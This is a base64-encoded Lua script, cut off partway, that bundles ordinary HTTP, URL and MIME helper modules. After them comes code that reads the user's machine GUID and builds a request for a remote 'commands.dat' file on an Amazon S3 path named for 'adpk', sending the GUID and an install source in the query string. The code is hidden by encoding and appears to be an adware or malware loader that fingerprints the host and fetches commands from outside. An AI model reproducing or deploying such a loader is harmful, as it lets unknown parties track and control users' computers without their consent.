ZApsb2NhbCBlPXBhcnNlKGEpCmlmIG5vdCBiYXNlX3BhcnNlZCB0aGVuIHJldHVybiBhCmVsc2Vp
ZiBub3QgZSB0aGVuIHJldHVybiB0CmVsc2VpZiBlLnNjaGVtZSB0aGVuIHJldHVybiBhCmVsc2UK
ZS5zY2hlbWU9YmFzZV9wYXJzZWQuc2NoZW1lCmlmIG5vdCBlLmF1dGhvcml0eSB0aGVuCmUuYXV0
aG9yaXR5PWJhc2VfcGFyc2VkLmF1dGhvcml0eQppZiBub3QgZS5wYXRoIHRoZW4KZS5wYXRoPWJh
c2VfcGFyc2VkLnBhdGgKaWYgbm90IGUucGFyYW1zIHRoZW4KZS5wYXJhbXM9YmFzZV9wYXJzZWQu
cGFyYW1zCmlmIG5vdCBlLnF1ZXJ5IHRoZW4KZS5xdWVyeT1iYXNlX3BhcnNlZC5xdWVyeQplbmQK
ZW5kCmVsc2UKZS5wYXRoPXMoYmFzZV9wYXJzZWQucGF0aCBvciIiLAplLnBhdGgpCmVuZAplbmQK
cmV0dXJuIGJ1aWxkKGUpCmVuZAplbmQKZnVuY3Rpb24gcGFyc2VfcGF0aChhKQpsb2NhbCB0PXt9
CmE9YSBvciIiCmUuZ3N1YihhLCIoW14vXSspIixmdW5jdGlvbihlKWkuaW5zZXJ0KHQsZSllbmQp
CmZvciBlPTEsaS5nZXRuKHQpZG8KdFtlXT11bmVzY2FwZSh0W2VdKQplbmQKaWYgZS5zdWIoYSwx
LDEpPT0iLyJ0aGVuIHQuaXNfYWJzb2x1dGU9MSBlbmQKaWYgZS5zdWIoYSwtMSwtMSk9PSIvInRo
ZW4gdC5pc19kaXJlY3Rvcnk9MSBlbmQKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIGJ1aWxkX3BhdGgo
dCxvKQpsb2NhbCBlPSIiCmxvY2FsIGE9aS5nZXRuKHQpCmlmIG8gdGhlbgpmb3IgYT0xLGEtMSBk
bwplPWUuLnRbYV0KZT1lLi4iLyIKZW5kCmlmIGE+MCB0aGVuCmU9ZS4udFthXQppZiB0LmlzX2Rp
cmVjdG9yeSB0aGVuIGU9ZS4uIi8iZW5kCmVuZAplbHNlCmZvciBhPTEsYS0xIGRvCmU9ZS4ubih0
W2FdKQplPWUuLiIvIgplbmQKaWYgYT4wIHRoZW4KZT1lLi5uKHRbYV0pCmlmIHQuaXNfZGlyZWN0
b3J5IHRoZW4gZT1lLi4iLyJlbmQKZW5kCmVuZAppZiB0LmlzX2Fic29sdXRlIHRoZW4gZT0iLyIu
LmUgZW5kCnJldHVybiBlCmVuZAplbmQpCnBhY2thZ2UucHJlbG9hZFsnbHRuMTInXT0oZnVuY3Rp
b24oLi4uKQpsb2NhbCBzPXJlcXVpcmUoInN0cmluZyIpCmxvY2FsIG89cmVxdWlyZSgidGFibGUi
KQpsb2NhbCBlPV9HCm1vZHVsZSgibHRuMTIiKQpmaWx0ZXI9e30Kc291cmNlPXt9CnNpbms9e30K
cHVtcD17fQpCTE9DS1NJWkU9MjA0OApfVkVSU0lPTj0iTFROMTIgMS4wLjEiCmZ1bmN0aW9uIGZp
bHRlci5jeWNsZShhLHQsbykKZS5hc3NlcnQoYSkKcmV0dXJuIGZ1bmN0aW9uKGkpCmxvY2FsIGUK
ZSx0PWEodCxpLG8pCnJldHVybiBlCmVuZAplbmQKZnVuY3Rpb24gZmlsdGVyLmNoYWluKC4uLikK
bG9jYWwgbj1vLmdldG4oYXJnKQpsb2NhbCBvLGE9MSwxCmxvY2FsIGk9IiIKcmV0dXJuIGZ1bmN0
aW9uKHQpCmk9dCBhbmQgaQp3aGlsZSB0cnVlIGRvCmlmIGE9PW8gdGhlbgp0PWFyZ1thXSh0KQpp
ZiB0PT0iIm9yIG89PW4gdGhlbiByZXR1cm4gdAplbHNlaWYgdCB0aGVuIGE9YSsxCmVsc2UKbz1v
KzEKYT1vCmVuZAplbHNlCnQ9YXJnW2FdKHQgb3IiIikKaWYgdD09IiJ0aGVuCmE9YS0xCnQ9aQpl
bHNlaWYgdCB0aGVuCmlmIGE9PW4gdGhlbiByZXR1cm4gdAplbHNlIGE9YSsxIGVuZAplbHNlIGUu
ZXJyb3IoImZpbHRlciByZXR1cm5lZCBpbmFwcHJvcHJpYXRlIG5pbCIpZW5kCmVuZAplbmQKZW5k
CmVuZApsb2NhbCBmdW5jdGlvbiB0KCkKcmV0dXJuIG5pbAplbmQKZnVuY3Rpb24gc291cmNlLmVt
cHR5KCkKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5lcnJvcihlKQpyZXR1cm4gZnVuY3Rp
b24oKQpyZXR1cm4gbmlsLGUKZW5kCmVuZApmdW5jdGlvbiBzb3VyY2UuZmlsZShlLGEpCmlmIGUg
dGhlbgpyZXR1cm4gZnVuY3Rpb24oKQpsb2NhbCB0PWU6cmVhZChCTE9DS1NJWkUpCmlmIG5vdCB0
IHRoZW4gZTpjbG9zZSgpZW5kCnJldHVybiB0CmVuZAplbHNlIHJldHVybiBzb3VyY2UuZXJyb3Io
YSBvciJ1bmFibGUgdG8gb3BlbiBmaWxlIillbmQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5zaW1wbGlm
eSh0KQplLmFzc2VydCh0KQpyZXR1cm4gZnVuY3Rpb24oKQpsb2NhbCBlLGE9dCgpCnQ9YSBvciB0
CmlmIG5vdCBlIHRoZW4gcmV0dXJuIG5pbCxhCmVsc2UgcmV0dXJuIGUgZW5kCmVuZAplbmQKZnVu
Y3Rpb24gc291cmNlLnN0cmluZyh0KQppZiB0IHRoZW4KbG9jYWwgZT0xCnJldHVybiBmdW5jdGlv
bigpCmxvY2FsIHQ9cy5zdWIodCxlLGUrQkxPQ0tTSVpFLTEpCmU9ZStCTE9DS1NJWkUKaWYgdH49
IiJ0aGVuIHJldHVybiB0CmVsc2UgcmV0dXJuIG5pbCBlbmQKZW5kCmVsc2UgcmV0dXJuIHNvdXJj
ZS5lbXB0eSgpZW5kCmVuZApmdW5jdGlvbiBzb3VyY2UucmV3aW5kKGEpCmUuYXNzZXJ0KGEpCmxv
Y2FsIHQ9e30KcmV0dXJuIGZ1bmN0aW9uKGUpCmlmIG5vdCBlIHRoZW4KZT1vLnJlbW92ZSh0KQpp
ZiBub3QgZSB0aGVuIHJldHVybiBhKCkKZWxzZSByZXR1cm4gZSBlbmQKZWxzZQpvLmluc2VydCh0
LGUpCmVuZAplbmQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5jaGFpbihzLG4pCmUuYXNzZXJ0KHMgYW5k
IG4pCmxvY2FsIGEsdD0iIiwiIgpsb2NhbCBpPSJmZWVkaW5nIgpsb2NhbCBvCnJldHVybiBmdW5j
dGlvbigpCmlmIG5vdCB0IHRoZW4KZS5lcnJvcignc291cmNlIGlzIGVtcHR5IScsMikKZW5kCndo
aWxlIHRydWUgZG8KaWYgaT09ImZlZWRpbmcidGhlbgphLG89cygpCmlmIG8gdGhlbiByZXR1cm4g
bmlsLG8gZW5kCnQ9bihhKQppZiBub3QgdCB0aGVuCmlmIGEgdGhlbgplLmVycm9yKCdmaWx0ZXIg
cmV0dXJuZWQgaW5hcHByb3ByaWF0ZSBuaWwnKQplbHNlCnJldHVybiBuaWwKZW5kCmVsc2VpZiB0
fj0iInRoZW4KaT0iZWF0aW5nIgppZiBhIHRoZW4gYT0iImVuZApyZXR1cm4gdAplbmQKZWxzZQp0
PW4oYSkKaWYgdD09IiJ0aGVuCmlmIGE9PSIidGhlbgppPSJmZWVkaW5nIgplbHNlCmUuZXJyb3Io
J2ZpbHRlciByZXR1cm5lZCAiIicpCmVuZAplbHNlaWYgbm90IHQgdGhlbgppZiBhIHRoZW4KZS5l
cnJvcignZmlsdGVyIHJldHVybmVkIGluYXBwcm9wcmlhdGUgbmlsJykKZWxzZQpyZXR1cm4gbmls
CmVuZAplbHNlCnJldHVybiB0CmVuZAplbmQKZW5kCmVuZAplbmQKZnVuY3Rpb24gc291cmNlLmNh
dCguLi4pCmxvY2FsIGU9by5yZW1vdmUoYXJnLDEpCnJldHVybiBmdW5jdGlvbigpCndoaWxlIGUg
ZG8KbG9jYWwgdCxhPWUoKQppZiB0IHRoZW4gcmV0dXJuIHQgZW5kCmlmIGEgdGhlbiByZXR1cm4g
bmlsLGEgZW5kCmU9by5yZW1vdmUoYXJnLDEpCmVuZAplbmQKZW5kCmZ1bmN0aW9uIHNpbmsudGFi
bGUoZSkKZT1lIG9ye30KbG9jYWwgdD1mdW5jdGlvbih0LGEpCmlmIHQgdGhlbiBvLmluc2VydChl
LHQpZW5kCnJldHVybiAxCmVuZApyZXR1cm4gdCxlCmVuZApmdW5jdGlvbiBzaW5rLnNpbXBsaWZ5
KHQpCmUuYXNzZXJ0KHQpCnJldHVybiBmdW5jdGlvbihlLGEpCmxvY2FsIGEsZT10KGUsYSkKaWYg
bm90IGEgdGhlbiByZXR1cm4gbmlsLGUgZW5kCnQ9ZSBvciB0CnJldHVybiAxCmVuZAplbmQKZnVu
Y3Rpb24gc2luay5maWxlKGUsYSkKaWYgZSB0aGVuCnJldHVybiBmdW5jdGlvbih0LGEpCmlmIG5v
dCB0IHRoZW4KZTpjbG9zZSgpCnJldHVybiAxCmVsc2UgcmV0dXJuIGU6d3JpdGUodCllbmQKZW5k
CmVsc2UgcmV0dXJuIHNpbmsuZXJyb3IoYSBvciJ1bmFibGUgdG8gb3BlbiBmaWxlIillbmQKZW5k
CmxvY2FsIGZ1bmN0aW9uIHQoKQpyZXR1cm4gMQplbmQKZnVuY3Rpb24gc2luay5udWxsKCkKcmV0
dXJuIHQKZW5kCmZ1bmN0aW9uIHNpbmsuZXJyb3IoZSkKcmV0dXJuIGZ1bmN0aW9uKCkKcmV0dXJu
IG5pbCxlCmVuZAplbmQKZnVuY3Rpb24gc2luay5jaGFpbihhLG8pCmUuYXNzZXJ0KGEgYW5kIG8p
CnJldHVybiBmdW5jdGlvbih0LGkpCmlmIHR+PSIidGhlbgpsb2NhbCBlPWEodCkKbG9jYWwgdD10
IGFuZCIiCndoaWxlIHRydWUgZG8KbG9jYWwgaSxvPW8oZSxpKQppZiBub3QgaSB0aGVuIHJldHVy
biBuaWwsbyBlbmQKaWYgZT09dCB0aGVuIHJldHVybiAxIGVuZAplPWEodCkKZW5kCmVsc2UgcmV0
dXJuIDEgZW5kCmVuZAplbmQKZnVuY3Rpb24gcHVtcC5zdGVwKGUsYSkKbG9jYWwgdCxlPWUoKQps
b2NhbCBvLGE9YSh0LGUpCmlmIHQgYW5kIG8gdGhlbiByZXR1cm4gMQplbHNlIHJldHVybiBuaWws
ZSBvciBhIGVuZAplbmQKZnVuY3Rpb24gcHVtcC5hbGwobyxhLHQpCmUuYXNzZXJ0KG8gYW5kIGEp
CnQ9dCBvciBwdW1wLnN0ZXAKd2hpbGUgdHJ1ZSBkbwpsb2NhbCB0LGU9dChvLGEpCmlmIG5vdCB0
IHRoZW4KaWYgZSB0aGVuIHJldHVybiBuaWwsZQplbHNlIHJldHVybiAxIGVuZAplbmQKZW5kCmVu
ZAplbmQpCnBhY2thZ2UucHJlbG9hZFsnbWltZSddPShmdW5jdGlvbiguLi4pCmxvY2FsIG89X0cK
bG9jYWwgZT1yZXF1aXJlKCJsdG4xMiIpCmxvY2FsIHQ9cmVxdWlyZSgibWltZS5jb3JlIikKbG9j
YWwgdD1yZXF1aXJlKCJpbyIpCmxvY2FsIG49cmVxdWlyZSgic3RyaW5nIikKbW9kdWxlKCJtaW1l
IikKZW5jb2RldD17fQpkZWNvZGV0PXt9CndyYXB0PXt9CmxvY2FsIGZ1bmN0aW9uIGEoYSkKcmV0
dXJuIGZ1bmN0aW9uKGUsdCxpKQppZiBvLnR5cGUoZSl+PSJzdHJpbmcidGhlbgplLHQsaT0iZGVm
YXVsdCIsZSx0CmVuZApsb2NhbCBhPWFbZSBvciJuaWwiXQppZiBub3QgYSB0aGVuCm8uZXJyb3Io
InVua25vd24ga2V5ICgiLi5vLnRvc3RyaW5nKGUpLi4iKSIsMykKZWxzZSByZXR1cm4gYSh0LGkp
ZW5kCmVuZAplbmQKZW5jb2RldFsnYmFzZTY0J109ZnVuY3Rpb24oKQpyZXR1cm4gZS5maWx0ZXIu
Y3ljbGUoYjY0LCIiKQplbmQKZW5jb2RldFsncXVvdGVkLXByaW50YWJsZSddPWZ1bmN0aW9uKHQp
CnJldHVybiBlLmZpbHRlci5jeWNsZShxcCwiIiwKKHQ9PSJiaW5hcnkiKWFuZCI9MEQ9MEEib3Ii
XHJcbiIpCmVuZApkZWNvZGV0WydiYXNlNjQnXT1mdW5jdGlvbigpCnJldHVybiBlLmZpbHRlci5j
eWNsZSh1bmI2NCwiIikKZW5kCmRlY29kZXRbJ3F1b3RlZC1wcmludGFibGUnXT1mdW5jdGlvbigp
CnJldHVybiBlLmZpbHRlci5jeWNsZSh1bnFwLCIiKQplbmQKbG9jYWwgZnVuY3Rpb24gdChlKQpp
ZiBlIHRoZW4KaWYgZT09IiJ0aGVuIHJldHVybiInJyIKZWxzZSByZXR1cm4gbi5sZW4oZSllbmQK
ZWxzZSByZXR1cm4ibmlsImVuZAplbmQKd3JhcHRbJ3RleHQnXT1mdW5jdGlvbih0KQp0PXQgb3Ig
NzYKcmV0dXJuIGUuZmlsdGVyLmN5Y2xlKHdycCx0LHQpCmVuZAp3cmFwdFsnYmFzZTY0J109d3Jh
cHRbJ3RleHQnXQp3cmFwdFsnZGVmYXVsdCddPXdyYXB0Wyd0ZXh0J10Kd3JhcHRbJ3F1b3RlZC1w
cmludGFibGUnXT1mdW5jdGlvbigpCnJldHVybiBlLmZpbHRlci5jeWNsZShxcHdycCw3Niw3NikK
ZW5kCmVuY29kZT1hKGVuY29kZXQpCmRlY29kZT1hKGRlY29kZXQpCndyYXA9YSh3cmFwdCkKZnVu
Y3Rpb24gbm9ybWFsaXplKHQpCnJldHVybiBlLmZpbHRlci5jeWNsZShlb2wsMCx0KQplbmQKZnVu
Y3Rpb24gc3R1ZmYoKQpyZXR1cm4gZS5maWx0ZXIuY3ljbGUoZG90LDIpCmVuZAplbmQpCnBhY2th
Z2UucHJlbG9hZFsnc29ja2V0Lmh0dHAnXT0oZnVuY3Rpb24oLi4uKQpsb2NhbCB0PXJlcXVpcmUo
InNvY2tldCIpCmxvY2FsIGg9cmVxdWlyZSgic29ja2V0LnVybCIpCmxvY2FsIGk9cmVxdWlyZSgi
bHRuMTIiKQpsb2NhbCBsPXJlcXVpcmUoIm1pbWUiKQpsb2NhbCBvPXJlcXVpcmUoInN0cmluZyIp
CmxvY2FsIGE9X0cKbG9jYWwgZD1yZXF1aXJlKCJ0YWJsZSIpCm1vZHVsZSgic29ja2V0Lmh0dHAi
KQpUSU1FT1VUPTYwClBPUlQ9ODAKVVNFUkFHRU5UPXQuX1ZFUlNJT04KbG9jYWwgZnVuY3Rpb24g
cihoLGkpCmxvY2FsIG4sYSxzLGUKaT1pIG9ye30KbixlPWg6cmVjZWl2ZSgpCmlmIGUgdGhlbiBy
ZXR1cm4gbmlsLGUgZW5kCndoaWxlIG5+PSIiZG8KYSxzPXQuc2tpcCgyLG8uZmluZChuLCJeKC4t
KTolcyooLiopIikpCmlmIG5vdChhIGFuZCBzKXRoZW4gcmV0dXJuIG5pbCwibWFsZm9ybWVkIHJl
cG9uc2UgaGVhZGVycyJlbmQKYT1vLmxvd2VyKGEpCm4sZT1oOnJlY2VpdmUoKQppZiBlIHRoZW4g
cmV0dXJuIG5pbCxlIGVuZAp3aGlsZSBvLmZpbmQobiwiXiVzIilkbwpzPXMuLm4Kbj1oOnJlY2Vp
dmUoKQppZiBlIHRoZW4gcmV0dXJuIG5pbCxlIGVuZAplbmQKaWYgaVthXXRoZW4gaVthXT1pW2Fd
Li4iLCAiLi5zCmVsc2UgaVthXT1zIGVuZAplbmQKcmV0dXJuIGkKZW5kCnQuc291cmNldFsiaHR0
cC1jaHVua2VkIl09ZnVuY3Rpb24oZSxpKQpyZXR1cm4gYS5zZXRtZXRhdGFibGUoewpnZXRmZD1m
dW5jdGlvbigpcmV0dXJuIGU6Z2V0ZmQoKWVuZCwKZGlydHk9ZnVuY3Rpb24oKXJldHVybiBlOmRp
cnR5KCllbmQKfSx7Cl9fY2FsbD1mdW5jdGlvbigpCmxvY2FsIG4sdD1lOnJlY2VpdmUoKQppZiB0
IHRoZW4gcmV0dXJuIG5pbCx0IGVuZApsb2NhbCBhPWEudG9udW1iZXIoby5nc3ViKG4sIjsuKiIs
IiIpLDE2KQppZiBub3QgYSB0aGVuIHJldHVybiBuaWwsImludmFsaWQgY2h1bmsgc2l6ZSJlbmQK
aWYgYT4wIHRoZW4KbG9jYWwgdCxhLG89ZTpyZWNlaXZlKGEpCmlmIHQgdGhlbiBlOnJlY2VpdmUo
KWVuZApyZXR1cm4gdCxhCmVsc2UKaSx0PXIoZSxpKQppZiBub3QgaSB0aGVuIHJldHVybiBuaWws
dCBlbmQKZW5kCmVuZAp9KQplbmQKdC5zaW5rdFsiaHR0cC1jaHVua2VkIl09ZnVuY3Rpb24oZSkK
cmV0dXJuIGEuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiBlOmdldGZkKCll
bmQsCmRpcnR5PWZ1bmN0aW9uKClyZXR1cm4gZTpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rp
b24oYSx0LGEpCmlmIG5vdCB0IHRoZW4gcmV0dXJuIGU6c2VuZCgiMFxyXG5cclxuIillbmQKbG9j
YWwgYT1vLmZvcm1hdCgiJVhcclxuIixvLmxlbih0KSkKcmV0dXJuIGU6c2VuZChhLi50Li4iXHJc
biIpCmVuZAp9KQplbmQKbG9jYWwgZT17X19pbmRleD17fX0KZnVuY3Rpb24gb3BlbihpLG4sbykK
bG9jYWwgbz10LnRyeSgobyBvciB0LnRjcCkoKSkKbG9jYWwgZT1hLnNldG1ldGF0YWJsZSh7Yz1v
fSxlKQplLnRyeT10Lm5ld3RyeShmdW5jdGlvbigpZTpjbG9zZSgpZW5kKQplLnRyeShvOnNldHRp
bWVvdXQoVElNRU9VVCkpCmUudHJ5KG86Y29ubmVjdChpLG4gb3IgUE9SVCkpCnJldHVybiBlCmVu
ZApmdW5jdGlvbiBlLl9faW5kZXg6c2VuZHJlcXVlc3RsaW5lKGUsdCkKbG9jYWwgZT1vLmZvcm1h
dCgiJXMgJXMgSFRUUC8xLjFcclxuIixlIG9yIkdFVCIsdCkKcmV0dXJuIHNlbGYudHJ5KHNlbGYu
YzpzZW5kKGUpKQplbmQKZnVuY3Rpb24gZS5fX2luZGV4OnNlbmRoZWFkZXJzKHQpCmxvY2FsIGU9
IlxyXG4iCmZvciB0LGEgaW4gYS5wYWlycyh0KWRvCmU9dC4uIjogIi4uYS4uIlxyXG4iLi5lCmVu
ZApzZWxmLnRyeShzZWxmLmM6c2VuZChlKSkKcmV0dXJuIDEKZW5kCmZ1bmN0aW9uIGUuX19pbmRl
eDpzZW5kYm9keShuLGUsYSkKZT1lIG9yIGkuc291cmNlLmVtcHR5KCkKYT1hIG9yIGkucHVtcC5z
dGVwCmxvY2FsIG89Imh0dHAtY2h1bmtlZCIKaWYgblsiY29udGVudC1sZW5ndGgiXXRoZW4gbz0i
a2VlcC1vcGVuImVuZApyZXR1cm4gc2VsZi50cnkoaS5wdW1wLmFsbChlLHQuc2luayhvLHNlbGYu
YyksYSkpCmVuZApmdW5jdGlvbiBlLl9faW5kZXg6cmVjZWl2ZXN0YXR1c2xpbmUoKQpsb2NhbCBl
PXNlbGYudHJ5KHNlbGYuYzpyZWNlaXZlKDUpKQppZiBlfj0iSFRUUC8idGhlbiByZXR1cm4gbmls
LGUgZW5kCmU9c2VsZi50cnkoc2VsZi5jOnJlY2VpdmUoIipsIixlKSkKbG9jYWwgdD10LnNraXAo
MixvLmZpbmQoZSwiSFRUUC8lZColLiVkKiAoJWQlZCVkKSIpKQpyZXR1cm4gc2VsZi50cnkoYS50
b251bWJlcih0KSxlKQplbmQKZnVuY3Rpb24gZS5fX2luZGV4OnJlY2VpdmVoZWFkZXJzKCkKcmV0
dXJuIHNlbGYudHJ5KHIoc2VsZi5jKSkKZW5kCmZ1bmN0aW9uIGUuX19pbmRleDpyZWNlaXZlYm9k
eShuLHMsZSkKcz1zIG9yIGkuc2luay5udWxsKCkKZT1lIG9yIGkucHVtcC5zdGVwCmxvY2FsIHI9
YS50b251bWJlcihuWyJjb250ZW50LWxlbmd0aCJdKQpsb2NhbCBoPW5bInRyYW5zZmVyLWVuY29k
aW5nIl0KbG9jYWwgbz0iZGVmYXVsdCIKaWYgaCBhbmQgaH49ImlkZW50aXR5InRoZW4gbz0iaHR0
cC1jaHVua2VkIgplbHNlaWYgYS50b251bWJlcihuWyJjb250ZW50LWxlbmd0aCJdKXRoZW4gbz0i
YnktbGVuZ3RoImVuZApyZXR1cm4gc2VsZi50cnkoaS5wdW1wLmFsbCh0LnNvdXJjZShvLHNlbGYu
YyxyKSwKcyxlKSkKZW5kCmZ1bmN0aW9uIGUuX19pbmRleDpyZWNlaXZlMDlib2R5KG4sbyxhKQps
b2NhbCBlPWkuc291cmNlLnJld2luZCh0LnNvdXJjZSgidW50aWwtY2xvc2VkIixzZWxmLmMpKQpl
KG4pCnJldHVybiBzZWxmLnRyeShpLnB1bXAuYWxsKGUsbyxhKSkKZW5kCmZ1bmN0aW9uIGUuX19p
bmRleDpjbG9zZSgpCnJldHVybiBzZWxmLmM6Y2xvc2UoKQplbmQKbG9jYWwgZnVuY3Rpb24gbihl
KQpsb2NhbCBhPWUKaWYgbm90IGUucHJveHkgYW5kIG5vdCBQUk9YWSB0aGVuCmE9ewpwYXRoPXQu
dHJ5KGUucGF0aCwiaW52YWxpZCBwYXRoICduaWwnIiksCnBhcmFtcz1lLnBhcmFtcywKcXVlcnk9
ZS5xdWVyeSwKZnJhZ21lbnQ9ZS5mcmFnbWVudAp9CmVuZApyZXR1cm4gaC5idWlsZChhKQplbmQK
bG9jYWwgZnVuY3Rpb24gcyh0KQpsb2NhbCBlPXQucHJveHkgb3IgUFJPWFkKaWYgZSB0aGVuCmU9
aC5wYXJzZShlKQpyZXR1cm4gZS5ob3N0LGUucG9ydCBvciAzMTI4CmVsc2UKcmV0dXJuIHQuaG9z
dCx0LnBvcnQKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiByKGUpCmxvY2FsIHQ9ewpbInVzZXItYWdl
bnQiXT1VU0VSQUdFTlQsClsiaG9zdCJdPWUuaG9zdCwKWyJjb25uZWN0aW9uIl09ImNsb3NlLCBU
RSIsClsidGUiXT0idHJhaWxlcnMiCn0KaWYgZS51c2VyIGFuZCBlLnBhc3N3b3JkIHRoZW4KdFsi
YXV0aG9yaXphdGlvbiJdPQoiQmFzaWMgIi4uKGwuYjY0KGUudXNlci4uIjoiLi5lLnBhc3N3b3Jk
KSkKZW5kCmZvciBhLGUgaW4gYS5wYWlycyhlLmhlYWRlcnMgb3IgdClkbwp0W28ubG93ZXIoYSld
PWUKZW5kCnJldHVybiB0CmVuZApsb2NhbCBlPXsKaG9zdD0iIiwKcG9ydD1QT1JULApwYXRoPSIv
IiwKc2NoZW1lPSJodHRwIgp9CmxvY2FsIGZ1bmN0aW9uIHUobykKbG9jYWwgZT1vLnVybCBhbmQg
aC5wYXJzZShvLnVybCxlKW9ye30KZm9yIHQsYSBpbiBhLnBhaXJzKG8pZG8gZVt0XT1hIGVuZApp
ZiBlLnBvcnQ9PSIidGhlbiBlLnBvcnQ9ODAgZW5kCnQudHJ5KGUuaG9zdCBhbmQgZS5ob3N0fj0i
IiwKImludmFsaWQgaG9zdCAnIi4uYS50b3N0cmluZyhlLmhvc3QpLi4iJyIpCmUudXJpPW8udXJp
IG9yIG4oZSkKZS5ob3N0LGUucG9ydD1zKGUpCmUuaGVhZGVycz1yKGUpCnJldHVybiBlCmVuZAps
b2NhbCBmdW5jdGlvbiBsKGUsYSx0KQpyZXR1cm4gdC5sb2NhdGlvbiBhbmQKby5nc3ViKHQubG9j
YXRpb24sIiVzIiwiIil+PSIiYW5kCihlLnJlZGlyZWN0fj1mYWxzZSlhbmQKKGE9PTMwMSBvciBh
PT0zMDIpYW5kCihub3QgZS5tZXRob2Qgb3IgZS5tZXRob2Q9PSJHRVQib3IgZS5tZXRob2Q9PSJI
RUFEIikKYW5kKG5vdCBlLm5yZWRpcmVjdHMgb3IgZS5ucmVkaXJlY3RzPDUpCmVuZApsb2NhbCBm
dW5jdGlvbiByKHQsZSkKaWYgdC5tZXRob2Q9PSJIRUFEInRoZW4gcmV0dXJuIG5pbCBlbmQKaWYg
ZT09MjA0IG9yIGU9PTMwNCB0aGVuIHJldHVybiBuaWwgZW5kCmlmIGU+PTEwMCBhbmQgZTwyMDAg
dGhlbiByZXR1cm4gbmlsIGVuZApyZXR1cm4gMQplbmQKbG9jYWwgbixzCmZ1bmN0aW9uIHMoZSx0
KQpsb2NhbCBpLGEsZSxvPW57CnVybD1oLmFic29sdXRlKGUudXJsLHQpLApzb3VyY2U9ZS5zb3Vy
Y2UsCnNpbms9ZS5zaW5rLApoZWFkZXJzPWUuaGVhZGVycywKcHJveHk9ZS5wcm94eSwKbnJlZGly
ZWN0cz0oZS5ucmVkaXJlY3RzIG9yIDApKzEsCmNyZWF0ZT1lLmNyZWF0ZQp9CmU9ZSBvcnt9CmUu
bG9jYXRpb249ZS5sb2NhdGlvbiBvciB0CnJldHVybiBpLGEsZSxvCmVuZApmdW5jdGlvbiBuKG4p
CmxvY2FsIGU9dShuKQpsb2NhbCB0PW9wZW4oZS5ob3N0LGUucG9ydCxlLmNyZWF0ZSkKdDpzZW5k
cmVxdWVzdGxpbmUoZS5tZXRob2QsZS51cmkpCnQ6c2VuZGhlYWRlcnMoZS5oZWFkZXJzKQppZiBl
LnNvdXJjZSB0aGVuCnQ6c2VuZGJvZHkoZS5oZWFkZXJzLGUuc291cmNlLGUuc3RlcCkKZW5kCmxv
Y2FsIGEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKaWYgbm90IGEgdGhlbgp0OnJlY2VpdmUwOWJv
ZHkoaSxlLnNpbmssZS5zdGVwKQpyZXR1cm4gMSwyMDAKZW5kCmxvY2FsIG8Kd2hpbGUgYT09MTAw
IGRvCm89dDpyZWNlaXZlaGVhZGVycygpCmEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKZW5kCm89
dDpyZWNlaXZlaGVhZGVycygpCmlmIGwoZSxhLG8pYW5kIG5vdCBlLnNvdXJjZSB0aGVuCnQ6Y2xv
c2UoKQpyZXR1cm4gcyhuLG8ubG9jYXRpb24pCmVuZAppZiByKGUsYSl0aGVuCnQ6cmVjZWl2ZWJv
ZHkobyxlLnNpbmssZS5zdGVwKQplbmQKdDpjbG9zZSgpCnJldHVybiAxLGEsbyxpCmVuZApsb2Nh
bCBmdW5jdGlvbiBoKGUsYSkKbG9jYWwgcz17fQpsb2NhbCBlPXsKdXJsPWUsCnNpbms9aS5zaW5r
LnRhYmxlKHMpCn0KaWYgYSB0aGVuCmUuc291cmNlPWkuc291cmNlLnN0cmluZyhhKQplLmhlYWRl
cnM9ewpbImNvbnRlbnQtbGVuZ3RoIl09by5sZW4oYSksClsiY29udGVudC10eXBlIl09ImFwcGxp
Y2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIKfQplLm1ldGhvZD0iUE9TVCIKZW5kCmxvY2Fs
IGUsYSx0PXQuc2tpcCgxLG4oZSkpCnJldHVybiBkLmNvbmNhdChzKSxlLGEsdAplbmQKcmVxdWVz
dD10LnByb3RlY3QoZnVuY3Rpb24oZSx0KQppZiBhLnR5cGUoZSk9PSJzdHJpbmcidGhlbiByZXR1
cm4gaChlLHQpCmVsc2UgcmV0dXJuIG4oZSllbmQKZW5kKQplbmQpCmxvY2FsIGU9cmVxdWlyZSgi
c29ja2V0Lmh0dHAiKTsKbG9jYWwgZT1yZXF1aXJlKCJjb21tb24iKTsKSlNPTj1yZXF1aXJlKCJK
U09OIik7CmU9ZS5uZXcoKTsKbG9jYWwgdD0oR2V0VXNlckd1aWQpYW5kIEdldFVzZXJHdWlkKClv
ciIiOwp0PXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDks
MTIpLHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKbG9jYWwgaT0oQ2hlY2tB
cmcpYW5kIENoZWNrQXJnKCJzb3VyY2UiKW9yIiI7CmxvY2FsIGE9KENoZWNrQXJnKWFuZCBDaGVj
a0FyZygib3B0aW9ucyIpb3IiIjsKbG9jYWwgcz0oYTpzdWIoNSw1KT09IjEiKWFuZCJwcm9kdWN0
aW9uIm9yImRldmVsb3BtZW50IjsKbG9jYWwgbz0oYX49IiIpYW5kIHN0cmluZy5mb3JtYXQoIiVz
IixhOnN1Yig4LDEwKSlvciI5OTkiOwpsb2NhbCBjPXRydWU7CmxvY2FsIG49IiI7CmxvY2FsIG89
c3RyaW5nLmZvcm1hdCgiaHR0cDovL3MzLmFtYXpvbmF3cy5jb20vY2RuLmFkcGsuY29tLyVzLyVz
L2NvbW1hbmRzLmRhdD9nPSVzJnM9JXMiLG8sYTpzdWIoNSw1KSxzdHJpbmcudXBwZXIodCksaSk7
CmxvY2FsIG49b3MudGltZSgpLTcwMDsKbG9jYWwgYT0iNmM2MTcxNzU2MTZlNjQ2MTc3NjE3NDZi
Njk2ZTczNzI2NTZkNmY3NDY1NjQ2MjBhIjsKbG9jYWwgaD0iMSI7CmxvY2FsIHQ9c3RyaW5nLmZv
